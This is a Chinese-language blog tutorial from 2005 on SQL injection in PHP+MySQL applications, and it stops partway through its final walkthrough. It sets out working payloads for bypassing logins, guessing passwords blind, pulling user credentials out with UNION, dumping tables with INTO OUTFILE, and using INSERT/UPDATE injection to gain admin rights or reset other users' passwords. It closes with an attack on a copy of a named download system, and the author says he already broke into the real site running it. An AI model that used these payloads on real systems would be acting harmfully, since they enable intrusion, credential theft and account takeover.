2005年05月12日

基于php+Mysql的SQL Injection 攻击技术

2003 年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称经典的作品,不过作为一篇完整的文章,我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步,不妨给本文挑点刺。权当指点小弟。


关于php+Mysql的注入


国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发现,其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多,所以,可能没有注意,况且PHP的安全性比ASP高很多,导致很多人不想跨越这个门槛。
尽管如此,在PHP站点日益增多的今天,SQL注入仍是最有效最麻烦的一种攻击方式,有效是因为至少70% 以上的站点存在SQL Injection漏洞,包括国内大部分安全站点,麻烦是因为 MYSQL4以下的版本是不支持子语句的,而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ’ (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。
早期的时候,根据程序的代码,要构造出没有引号的语句形成有效的攻击,还真的有点困难,好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验,其实构造有效的语句一点也不难,甚至成功率也很高,但具体情况具体分析。首先要走出一个误区。

注:在没有具体说明的情况下,我们假设magic_quotes_gpc均为off。

php+Mysql注入的误区


很多人认为在PHP+MYSQL下注入一定要用到单引号,或者是没有办法像MSSQL那样可以使用 "declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a" 这类的命令来消除引号,其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。
为什么呢?因为不管在什么语言里,在引号(包括单双)里,所有字符串均是常量,即使是dir这样的命令,也紧紧是字符串而已,并不能当做命令执行,除非是这样写的代码:

$command = "dir c:\";
system($command);


否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,我们这里说的是SQL语句,要让我们构造的SQL语句正常执行,就不能让我们的语句变成字符串,那么什么情况下会用单引号?什么时候不用呢?看看下面两句SQL语句:

①SELECT * FROM article WHERE articleid=’$id’
②SELECT * FROM article WHERE articleid=$id


两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的 SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,我们针对两个句子分别提交两个成功注入的畸形语句,来看看不同之处。

①     指定变量$id为:
1′ and 1=2 union select * from user where userid=1/*
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=’1′ and 1=2 union select * from user where userid=1/*’

②指定变量$id为:
1 and 1=2 union select * from user where userid=1
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1


看出来了吗?由于第一句有单引号,我们必须先闭合前面的单引号,这样才能使后面的语句作为SQL执行,并要注释掉后面原SQL语句中的后面的单引号,这样才可以成功注入,如果php.ini中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数,我们的攻击就会化为乌有,但第二句没有用引号包含变量,那我们也不用考虑去闭合、注释,直接提交就OK了。
大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语句,是没有包含引号的,大家不要认为真的可以不用引号注入,仔细看看PHPBB的代码,就可以发现,那个$forum_id所在的SQL语句是这样写的:

$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id";


由于没有用单引号包含变量,才给pinkeyes这个家伙有机可乘,所以大家在写PHP程序的时候,记得用单引号把变量包含起来。当然,必要的安全措施是必不可少的。


简单的例子


先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然,这个例子也可以告诉大家如何学习构造有效的SQL语句。
我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:

CREATE DATABASE `injection`
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default ”,
`password` varchar(20) NOT NULL default ”,
PRIMARY KEY (`userid`)
) ;
INSERT INTO `user` VALUES (1, ’angel’, ’mypass’);


验证用户文件的代码如下:

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

$sql = "SELECT * FROM user WHERE username=’$username’ AND password=’$password’";

$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);

if (empty($userinfo))
{
echo "登陆失败";
} else {
echo "登陆成功";
}

echo "<p>SQL Query:$sql";
?>


这时我们提交:

http://127.0.0.1/injection/user.php?username=angel‘ or 1=1


就会返回:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13
登陆失败
SQL Query:SELECT * FROM user WHERE username=’angel’ or 1=1′ AND password=”
PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13


看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由此可知我们构造的语句不能让Mysql正确执行,要重新构造:

http://127.0.0.1/injection/user.php?username=angel‘ or ’1=1


这时显示"登陆成功",说明成功了。或者提交:

http://127.0.0.1/injection/user.php?username=angel‘/*
http://127.0.0.1/injection/user.php?username=angel‘%23


这样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻辑运算,在ASP中运用可以说是非常广泛的,这个不用说了吧?第二、三句是根据mysql的特性,mysql支持/*和#两种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于编码问题,在IE地址栏里提交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会变成#,就成功注释了,这个比逻辑运算简单得多了,由此可以看出PHP比ASP强大灵活多了。
通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧?


语句构造


PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,但构造语句和ACCESS、MSSQL都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。

一、搜索引擎

网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括不符合条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都允许检索所有的记录。很多查询的设计就是这样的。
查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算危害,下面是一个标准的搜索引擎:

<form method="GET" action="search.php" name="search">
<input name="keywords" type="text" value="" size="15"> <input type="submit" value="Search">
</form>
<p><b>Search result</b></p>

<?php

//search.php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

$keywords = $_GET['keywords'];
if (!empty($keywords))
{
$sql = "SELECT * FROM article WHERE title LIKE ’%$keywords%’ $search ORDER BY title DESC";
$result = mysql_db_query($dbname,$sql);
$tatol=mysql_num_rows($result);

echo "<p>SQL Query:$sql<p>";
if ($tatol <=0){
echo "The \"<b>$keywords</b>\" was not found in all the record.<p>\n";
} else {
while ($article=mysql_fetch_array($result))
{
echo "<li>".htmlspecialchars($article[title])."<p>\n";
} //while
}
} else {
echo "<b>Please enter some keywords.</b><p>\n";
}
?>


一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到"注入"的目的,尽管没有危害,当我们输入"___" 、".__ "、"%"等类似的关键字时,会把数据库中的所有记录都取出来。如果我们在表单提交:

%’ ORDER BY articleid/*
%’ ORDER BY articleid#
__’ ORDER BY articleid/*
__’ ORDER BY articleid#


SQL语句就被改变成下面的样子了,

SELECT * FROM article WHERE title LIKE ’%%’ ORDER BY articleid/*%’ ORDER BY title DESC
SELECT * FROM article WHERE title LIKE ’%__’ ORDER BY articleid#%’ ORDER BY title DESC


就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个虽然危害不大,也算是注入的一种方式了吧?

二、查询字段

查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESS、MSSQL差不多,甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难?我们在ASP中经常使用的个别函数在PHP里要有小小的改动,如下:

① 本表查询

看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,

<?php
//user.php

$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

$sql = "SELECT * FROM user WHERE username=’$username’";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row)
{
echo "该记录不存在";
echo "<p>SQL Query:$sql<p>";
exit;
}

echo "你要查询的用户ID是:$row[userid]\n";
echo "<p>SQL Query:$sql<p>";
?>


当我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现在我还没有碰见过密码是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:

SELECT * FROM user WHERE username=’$username’ AND password=’$password’
SELECT * FROM user WHERE username=’$username’


相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,密码为mypass,
看了上面的例子,应该知道构造了吧,如果我们提交:

http://127.0.0.1/injection/user.php?username=angel‘ and password=’mypass


这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:

SELECT * FROM user WHERE username=’angel’ AND password=’mypass’


但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们就开始探测密码了,首先获取密码长度:

http://127.0.0.1/injection/user.php?username=angel‘ and LENGTH(password)=’6


在ACCESS 中,用LEN()函数来获取字符串长度,在MYSQL中,要使用LENGTH(),只要没有构造错误,也就是说SQL语句能正常执行,那返回结果无外乎两种,不是返回用户ID,就是返回"该记录不存在"。当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP里一样?再用 LEFT()、RIGHT()、MID()函数猜密码:

http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,1)=’m
http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,2)=’my
http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,3)=’myp
http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,4)=’mypa
http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,5)=’mypas
http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,6)=’mypass


看,密码不是出来了吗?简单吧?当然实际情况会有不少条件限制,下面还会讲到这个例子的深入应用。

② 跨表查询
这部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难掌握的就是字段的数量,如果看过MYSQL参考手册,就知道了在  SELECT 中的 select_expression (select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。简单的说,也就是UNION后面查选的字段数量、字段类型都应该与前面的 SELECT一样,而且,如果前面的SELECT为真,就同时返回两个SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情况会替换掉在第一个SELECT原来应该显示的字段,如下图:


看了这个图直观多了吧?所以应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字段相同,类型也相同,我们就可以这样提交:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT * FROM……


如果字段数量、字段类型任意一个不相同,就只能搞清除数据类型和字段数量,这样提交:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT 1,1,1,1,1,1,1 FROM……


否则就会报错:

The used SELECT statements have a different number of columns


如果不知道数据类型和字段数量,可以用1来慢慢试,因为1属于int\str\var类型,所以我们只要慢慢改变数量,一定可以猜到的。如果不能马上理解上面的理论,后面有很详细的例子。
我们看看下面的数据结构,是一个简单的文章数据表。

CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment,
`title` varchar(100) NOT NULL default ”,
`content` text NOT NULL,
PRIMARY KEY  (`articleid`)
);


这个表的字段类型分别是int、varchar、text,如果我们用UNION联合查询的时候,后面的查询的表的结构和这个一样。就可以用"SELECT *",如果有任何一个不一样,那我们只能用"SELECT 1,1,1,1……"了。

下面的文件是一个很标准、简单的显示文章的文件,很多站点都是这种页面没有过滤,所以成为最明显的注入点,下面就拿这个文件作为例子,开始我们的注入实验。

<?php
//show.php

$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

$sql = "SELECT * FROM article WHERE articleid=’$id’";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row)
{
echo "该记录不存在";
echo "<p>SQL Query:$sql<p>";
exit;
}

echo "title<br>".$row[title]."<p>\n";
echo "content<br>".$row[content]."<p>\n";
echo "<p>SQL Query:$sql<p>";
?>


正常情况下,我们提交这样的一个请求:

http://127.0.0.1/injection/show.php?id=1


就会显示articleid为1的文章,但我们不需要文章,我们需要的是用户的敏感信息,就要查询user表,现在是查询刚才我们建立的user表。
由于$id没有过滤给我们制造了这个机会,我们要把show.php文件中的SQL语句改写成类似这个样子:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT * FROM user ……


由于这个代码是有单引号包含着变量的,我们现在提交:

http://127.0.0.1/injection/show.php?id=1‘ union select 1,username,password from user/*


按道理说,应该显示用户表的username、password两个字段的内容才对啊,怎么正常显示文章呢?如图:



其实,我们提交的articleid=1是article表里存在的,执行结果就是真了,自然返回前面SELECT的结果,当我们提交空的值或者提交一个不存在的值,就会蹦出我们想要的东西:

http://127.0.0.1/injection/show.php?id=‘ union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=99999‘ union select 1,username,password from user/*


如图:



现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用,后面还会讲到一些高级的技巧。

三、导出文件

这个是比较容易构造但又有一定限制的技术,我们经常可以看见以下的SQL语句:

select * from table into outfile ’c:/file.txt’
select * from table into outfile ’/var/www/file.txt’


但这样的语句,一般很少用在程序里,有谁会把自己的数据导出呢?除非是备份,但我也没有见过这种备份法。所以我们要自己构造,但必须有下面的前提条件:

l         必须导出到能访问的目录,这样才能下载。
l         能访问的目录必须要有可写的权限,否则导出会失败。
l         确保硬盘有足够的容量能容下导出的数据,这个很少见。
l         确保要已经存在相同的文件名,会导致导出失败,并提示:"File ’c:/file.txt’ already exists",这样可以防止数据库表和文件例如/etc/passwd被破坏。

我们继续用上面的user.php和show.php两个文件举例,如果一个一个用户猜解实在是太慢了,如果对方的密码或者其他敏感信息很复杂,又不会写 Exploit,要猜到什么时候啊?来点大范围的,直接导出全部数据好了。user.php文件的查询语句,我们按照into outfile的标准格式,注入成下面的语句就能导出我们需要的信息了:

SELECT * FROM user WHERE username=’$username’ into outfile ’c:/file.txt’


知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句:

http://127.0.0.1/injection/user.php?username=angel‘ into outfile ’c:/file.txt


出现了错误提示,但从返回的语句看来,我们的SQL语句确实是注入正确了,即使出现错误,也是查询的问题了,文件还是乖乖的被导出了,如图:



由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:

http://127.0.0.1/injection/user.php?username=‘ or 1=1 into outfile ’c:/file.txt


实际的SQL语句变为:

SELECT * FROM user WHERE username=” or 1=1 into outfile ’c:/file.txt’


这样username的参数是空的,就是假了,1=1永远是真的,那or前面的WHERE就不起作用了,但千万别用and哦,否则是不能导出全部数据的。
既然条件满足,在这种情况下就直接导出所有数据!如图:



但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:

SELECT * FROM article WHERE articleid=’1′ union select 1,username,password from user into outfile ’c:/user.txt’


这样可以导出文件了,如果我们要构造就提交:

http://127.0.0.1/injection/show.php?id=1‘ union select 1,username,password from user into outfile ’c:/user.txt


文件是出来了,可是有一个问题,由于前面的查询articleid=’1′为真了,所以导出的数据也有整个文章的一部分,如图:



所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,只要提交:

http://127.0.0.1/injection/show.php?id=‘ union select 1,username,password from user into outfile ’c:/user.txt


这样才能得到我们想要的资料:



值得注意的是想要导出文件,必须magic_quotes_gpc没有打开,并且程序也没有用到addslashes()函数,还有不能对单引号做任何过滤,因为我们在提交导出路径的时候,一定要用引号包含起来,否则,系统不会认识那是一个路径,也不用尝试用char()或者什么函数,那是徒劳。

INSERT

如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操作,那就是INSERT和UPDATE语句,这类例子不多,先面先说说INSERT,这主要应用于改写插入的数据,我们来看个简单而又广泛存在的例子,看看下面的数据结构:

CREATE TABLE `user` (
`userid` INT NOT NULL AUTO_INCREMENT ,
`username` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
`homepage` VARCHAR( 255 ) NOT NULL ,
`userlevel` INT DEFAULT ’1′ NOT NULL ,
PRIMARY KEY ( `userid` )
);


其中的userlevel代表用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注册程序默认是注册成普通用户,如下:

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, ’$username’, ’$password’, ’$homepage’, ’1′);


默认userlevel字段是插入1,其中的变量都是没有经过过滤就直接写入数据库的,不知道大家有什么想法?对,就是直接注入,使我们一注册就是超级管理员。我们注册的时候,构造$homepage变量,就可以达到改写的目的,指定$homepage变量为:

http://4ngel.net‘, ’3′)#


插入数据库的时候就变成:

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, ’angel’, ’mypass’, ’http://4ngel.net’, ’3′)#’, ’1′);


这样就注册成为超级管理员了。但这种利用方法也有一定的局限性,比如,我没有需要改写的变量如userlevel字段是数据库的第一个字段,前面没有地方给我们注入,我们也没有办法了。
或许INSERT还有更广泛的应用,大家可以自行研究,但原理都是一样的。

UPDATE

和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的注册程序来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写的:

UPDATE user SET password=’$password’, homepage=’$homepage’ WHERE id=’$id’


用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL语句又没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量, 指定$homepage变量为:

http://4ngel.net‘, userlevel=’3


整个SQL语句就变成这样:

UPDATE user SET password=’mypass’, homepage=’http://4ngel.net’, userlevel=’3′ WHERE id=’$id’


我们是不是又变成超级管理员了?程序不更新userlevel字段,我们自己来。
还有更加绝的,直接修改任意用户的资料,还是刚才的例句,但这次安全一点,使用MD5加密:

UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=’$id’


尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:

mypass)’ WHERE username=’admin’#


这时整个语句变为:

UPDATE user SET password=’MD5(mypass)’ WHERE username=’admin’#)’, homepage=’$homepage’ WHERE id=’$id’


这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,也可以从$id下手,指定$id为:

‘ OR username=’admin’


这时整个语句变为:

UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=” OR username=’admin’


照样也可以达到修改的目的,所以说注入是非常灵活的技术。如果有些变量是从数据库读取的固定值,甚至用$_SESSION['username']来读取服务器上的SESSION信息时,我们就可以在原来的WHERE之前自己构造WHERE并注释掉后面的代码,由此可见,灵活运用注释也是注入的技巧之一。这些技巧把注入发挥得淋漓尽致。不得不说是一种艺术。
变量的提交方式可以是GET或POST,提交的位置可以是地址栏、表单、隐藏表单变量或修改本地COOKIE信息等,提交的方式可以是本地提交,服务器上提交或者是工具提交,多种多样就看你如何运用了。


高级应用


1、 使用MYSQL内置函数

我们在ACCESS、MSSQL中的注入,有很多比较高级的注入方法,比如深入到系统,猜中文等,这些东西,在MYSQL也能很好得到发挥,其实在 MYSQL有很多内置函数都可以用在SQL语句里,这样就可以使我们能在注入时更灵活,得到更多关于系统的信息。有几个函数是比较常用的:

DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
……


各个函数的具体作用大家可以查阅MYSQL手册,比如下面这句UPDATE:

UPDATE article SET title=$title WHERE articleid=1


我们可以指定$title为以上的各个函数,因为没有被引号包含,所以函数是能正确执行的:

UPDATE article SET title=DATABASE() WHERE id=1
#把当前数据库名更新到title字段
UPDATE article SET title=USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SESSION_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERE id=1
#把当前会话被验证匹配的用户名更新到title字段


灵活运用MYSQL内置的函数,可以获得不少有用的信息,比如数据库版本、名字、用户、当前数据库等,比如前面跨表查询的例子,提交:

http://127.0.0.1/injection/show.php?id=1


可以看到一篇文章,我们怎么样才能知道MYSQL数据库的相关信息呢?同样也是用MYSQL内置函数配合UNION联合查询,不过相比之下就简单得多了,甚至还可以读取文件!既然要用到UNION,同样要满足UNION的条件——字段数、数据类型相同。如果我们知道了数据结构,直接构造:

http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()


就可以返回当前数据库名和数据库版本,构造是比较容易的。
下面附上一段由我好友Super·Hei写的代码,可以把字符串转换为ASCII代码。感谢提供。

#!/usr/bin/perl
#cody by Super·Hei
#to angel
#C:\>test.pl c:\boot.ini
#99,58,92,98,111,111,116,46,105,110,105

$ARGC = @ARGV;
if ($ARGC != 1) {
print "Usage: $0 \n";
exit(1);
}

$path=shift;

@char = unpack(‘C*’, $path);

$asc=join(",",@char);

print $asc;


2、不加单引号注入

注:现在我们假设magic_quotes_gpc为on了。

众所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多问题。但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成整形类型,这个就需要用到CHAR(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:

SELECT * FROM user WHERE username=’angel’


如何使$username不带引号呢?很简单我们这样提交就可以了。

SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制。
SELECT * FROM user WHERE username=0×616E67656C
# 0×616E67656C 相当于angel,十六进制。


其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所包含才有意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子(user,php),我们把查询条件改为userid:

SELECT * FROM user WHERE userid=userid


按照正常的,提交:

http://127.0.0.1/injection/user.php?userid=1


就可以查询userid为1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们构造:

http://127.0.0.1/injection/user.php?userid=1 and password=mypass


绝对错误,因为mypass是字符串,除非提交:

http://127.0.0.1/injection/user.php?userid=1 and password=‘mypass’


由于magic_quotes_gpc打开的关系,这个是绝对不可能的。引号会变成/’,我们有什么办法可以把这些字符串变成整形数据吗?就是用CHAR()函数,如果我们提交:

http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)


正常返回,实践证明,我们用CHAR()是可行的,我们就把CHAR()用进LEFT函数里面逐位猜解!

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)


正常返回,说明userid为1的用户,password字段第一位是char(109),我们继续猜:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)


又正常返回,说明正确,但这样影响到效率,既然是整形,我们完全可以用比较运算符来比较:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)


然后适当调整char()里面的数字来确定一个范围,很快就可以猜出来,到了后面的时候,还是可以用比较运算符来比较:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)


而原来已经猜好的不用改变了,很快就可以猜完:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)




然后在mysql>命令提示符下或者在phpMyadmin里面执行:

select char(109,121,112,97,115,115)


就会返回:mypass



当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数,从字符串 str 的 pos 位置起返回  len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子,我们猜password字段的第三位、第四位试试,第三位是p,第四位是a,我们这样构造:

http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)
http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)


我们要的结果就迸出来了。当然,如果觉得麻烦,还可以用更简单的办法,就是利用ord()函数,具体作用可以去查看MYSQL参考手册,该函数返回的是整形类型的数据,可以用比较运算符进行比较、当然得出的结果也就快多了,也就是这样提交:

http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112


这样我们就得出结果了,然后我们再用char()函数还原出来就好了。至于其他更多函数,大家可以自己去试验,限于篇幅也不多说了。

3、快速确定未知数据结构的字段及类型

如果不清楚数据结构,很难用UNION联合查询,这里我告诉大家一个小技巧,也是非常有用非常必要的技巧,充分发挥UNION的特性。
还是拿前面的show.php文件做例子,当我们看到形如xxx.php?id=xxx的URL的时候,如果要UNION,就要知道这个xxx.php查询的数据表的结构,我们可以这样提交来快速确定有多少个字段:

http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1


有多少个"1"就表示有多少个字段,可以慢慢试,如果字段数不相同,就肯定会出错,如果字段数猜对了,就肯定会返回正确的页面,字段数出来了,就开始判断数据类型,其实也很容易,随便用几个字母代替上面的1,但是由于magic_quotes_gpc打开,我们不能用引号,老办法,还是用char()函数, char(97)表示字母"a",如下:

http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)


如果是字符串,那就会正常显示"a",如果不是字符串或文本,也就是说是整形或布尔形,就会返回"0",如图:




判断最主要靠什么?经验,我以前一直都说,经验很重要,丰富经验能更好的作出正确的判断,因为程序的代码是千变万化的,我们这里是只是举个最简单的例子,这里由于局限性,程序都是我自己写、自己测试的。方法因程序而异。希望大家在实战中,注意区别,不要照搬,灵活运用才是根本。


4、猜数据表名

在快速确定未知数据结构的字段及类型的基础上,我们又可以进一步的分析整个数据结构,那就是猜表名,其实使用UNION联合查询的时候,不管后面的查询怎么 "畸形",只要没有语句上的问题,都会正确返回,也就是说,我们可以在上面的基础上,进一步猜到表名了,比如刚才我们提交:

http://127.0.0.1/injection/show.php?id=1 union select 1,1,1


返回正常的内容,就说明这个文件查询的表内是存在3个字段的,然后我们在后面加入from table_name,也就是这样:

http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user


如果这个表是存在的,那么同样会返回应该显示的内容,如果表不存在,当然就会出错了,所以我的思路是先获得有漏洞的文件所查询表的数据结构,确定结果后再进一步查询表,这个手工操作是没有效率的问题的,不到一分钟就可以查询到了,比如我们在测试www.***bai.net就是这样,后面的实例会涉及到。
但是有一个问题,由于很多情况下,很多程序的数据表都会有一个前缀,有这个前缀就可以让多个程序共用一个数据库。比如:

site_article
site_user
site_download
forum_user
forum_post
……


如果安全意识高的话,管理员会加个表名前缀,那猜解就很麻烦了,不过完全可以做一个表名列表来跑。这里就不多说了,后面会有一个具体的例子来解开一切迷茫^_^……

实例

下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行一次大概的验证,出于影响等诸多因素,我们称这个站点为HB (www.***bai.net),HB使用的是夜猫的文章系统和下载系统,不过文章系统已经升级了,我们就不看了,下载系统是绝对有问题的,不过由于我现在写文章的电脑不上网,我用相同的下载系统在本地进行一次模拟的测试。实际上,我事前早用更狠毒的技术渗透过HB。
首先我们找到有问题的文件,show.php?id=1,我们马上看看数据结构和表名,看看HB有没有改字段和表名,我早知道夜猫下载系统1.0.1版的软件信息的表有19个字段,就提交:

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1


注意,这里有19个"1",返回正常的页面,我可以可以肯定字段没有变,我们也就别拖拉了,直接看看夜猫的默认用户数据表是否存在:

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user


正常返回,如图,如果URL不清楚可以看标题那里:


嗯,这个HB还真是够懒的,这么烂的程序也不知道先修改一下再用,不过也是,没有多少人和我一样有闲心先去加固程序才用的,再看默认的用户id还在不在?

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1


忘记了,就算不存在id为1的用户,前面的查询是真的,照样会正常返回数据库的软件信息,我们只能让前面的查询为假,才能使后面查询的结果显示出来,但我们要注意一点,show.php文件里面有这样一段代码:

if ($id > "0" && $id < "999999999" ):
//这里是正确执行的代码
else:
echo "<p><center><a href=./list.php>无记录</a></p>\n";


也就是说我们的ID的值再怎么离谱也不能在0和999999999之外,HB的软件肯定不会超过10000个的,我们就提交:

